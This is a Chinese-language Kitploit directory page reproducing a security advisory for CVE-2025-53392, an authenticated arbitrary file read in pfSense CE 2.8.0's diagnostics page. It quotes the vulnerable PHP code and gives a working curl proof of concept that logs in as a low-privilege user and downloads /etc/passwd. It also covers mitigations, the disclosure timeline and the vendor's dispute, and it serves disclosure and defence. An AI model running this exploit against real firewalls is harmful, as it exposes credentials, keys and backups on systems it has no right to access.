Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pfsense-security-research — pfSense 2.8.0 中存在经过身份验证的任意文件读取漏洞,通过诊断Web界面(CVE-2025-53392) | Kitploit
工具/GitHubGitHub/skraft9/pfsense-security-research
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubskraft9/pfsense-security-research

pfsense-security-research

pfSense 2.8.0 中存在经过身份验证的任意文件读取漏洞,通过诊断Web界面(CVE-2025-53392)

查看仓库
147个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

pfSense 2.8.0 诊断Web界面中的认证任意文件读取

CVE ID: CVE-2025-53392

日期: 2025-06-27

作者: Seth Kraft

厂商主页: https://www.netgate.com/

厂商更新日志: https://docs.netgate.com/pfsense/en/latest/releases/

软件链接: https://www.pfsense.org/download/

版本: pfSense CE 2.8.0

CWE ID: CWE-36(绝对路径遍历)

CVSS 基础评分: 6.5 (中等)

向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

类型: 认证任意文件读取 / 本地文件泄露


授权

仅限授权的测试和研究目的。 请勿在您不拥有或未获得明确许可的系统上测试或利用此漏洞。


摘要

pfSense CE 2.8.0 的诊断页面 diag_command.php 存在本地文件泄露漏洞,允许经过身份验证的用户从底层文件系统下载任意文件。

此功能缺乏任何路径清理、目录限制或除权限分配之外的访问控制。


详细信息

漏洞逻辑位于文件 src/usr/local/www/diag_command.php 中:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

用户控制的 dlPath 参数未经过任何安全检查或清理措施。

PHP 进程能够读取的任何文件路径都将直接返回给用户。


概念验证

创建 low-priv 组并分配单一权限(WebCfg - 诊断:命令) 截图 2025-06-27 133201

我承认 WebCfg - 诊断:命令 权限存在安全免责声明,但仅凭声明并不能替代合理的访问控制。

“允许访问诊断命令页面” 这一表述含糊不清,且低估了风险——它实际上允许无限制的 root 级命令执行,而不仅仅是诊断访问。

Web 界面中的权限标签必须准确反映其允许操作的范围和严重程度,尤其是在暴露完整管理控制权的情况下。

将 low-priv 组分配给 dev 用户 截图 2025-06-27 133218

此概念验证演示了仅分配了 WebCfg - 诊断:命令 权限的用户如何通过滥用未经清理的 dlPath 参数窃取 /etc/passwd 文件。

root@kitploit:~
# 1. 开始会话并提取 CSRF 令牌
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. 以低权限用户 "dev" 进行身份验证
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. 获取登录后的 CSRF 令牌
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. 窃取任意文件(示例:/etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

演示

pfSense-认证文件泄露演示


影响

任何被分配了 WebCfg - 诊断:命令 权限的 pfSense 用户都可以:

  • 读取敏感的系统本地文件
  • 提取备份、凭据和密钥
  • 访问远超其应有权限范围的文件

这违反了最小权限原则,并打破了逻辑权限边界。


建议缓解措施

  1. 使用 realpath() 和路径前缀强制将 dlPath 限制在安全的基础目录(如 /tmp)内
  2. 剥离或阻止包含 .. 或绝对路径的路径
  3. 仅允许下载位于白名单或临时工件目录中的文件

披露时间线

  • 2025-06-26: 向 Netgate 报告漏洞
  • 2025-06-27: Netgate 回应,将问题视为预期行为
  • 2025-06-27: 研究人员以技术论证回应,供应商重申否定态度
  • 2025-06-27: 因供应商最终否定,研究人员启动公开披露,并向 MITRE 请求 CVE 分配
  • 2025-06-28: MITRE 分配 CVE-2025-53392,标记为“厂商争议”

Netgate 的回应

虽然供应商声称访问此页面等同于获取 root 权限,但这混淆了 Web 级别权限与无限制的后端访问权限。

权限应通过技术手段强制执行(而非假设),UI 中的警告不能替代安全设计。


针对供应商声称此功能已“充分文档化”的论点——我在 pfSense 的用户权限文档中未找到任何说明 WebCfg - 诊断:命令 权限等同于 root 级别访问的内容。 截图 2025-06-28 235613


供应商可能指的是诊断命令页面本身包含关于误用的一般性警告。

但文档并未明确将此功能与 WebCfg - 诊断:命令 权限关联,也未说明该权限会授予 root 级别访问权限。


对诊断接口的安全期望

防火墙 Web 界面中的诊断模块应具备适当的安全防护措施,以防止对底层操作系统的滥用。

  • 诊断命令应仅限于 ping、traceroute、日志查看等功能。
  • 命令应在受限 shell 或 chroot 环境中运行。
  • 文件访问应明确限定在安全目录中(/tmp、/var/log)。
  • 权限应细粒度化,且范围清晰。

免责声明

此项工作是在我的雇佣关系之外进行的,反映的是我个人在网络安全研究方面的努力。

下载工具